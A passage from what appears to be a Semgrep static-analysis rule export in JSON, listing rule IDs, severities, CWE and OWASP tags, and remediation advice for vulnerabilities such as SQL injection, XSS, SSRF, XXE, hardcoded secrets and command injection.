[https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint","id":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","name":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint.pgx-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","id":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","name":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"help":{"markdown":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://developer.apple.com/documentation/security/randomization_services](https://developer.apple.com/documentation/security/randomization_services)\n","text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt","id":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","name":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-323: Nonces should be used for the present occasion and only once.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-salt.hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"help":{"markdown":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","id":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","name":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"help":{"markdown":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","id":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","name":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","id":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","name":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"help":{"markdown":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb)\n","text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible","id":"ruby.lang.security.model-attr-accessible.model-attr-accessible","name":"ruby.lang.security.model-attr-accessible.model-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attr-accessible.model-attr-accessible"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"help":{"markdown":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled)\n - [https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/](https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/)\n","text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled","id":"python.flask.security.audit.debug-enabled.debug-enabled","name":"python.flask.security.audit.debug-enabled.debug-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.debug-enabled.debug-enabled"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","id":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","name":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","id":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","name":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","id":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","name":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","id":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","name":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint","id":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","name":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.command-injection.gin-command-injection.gin-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 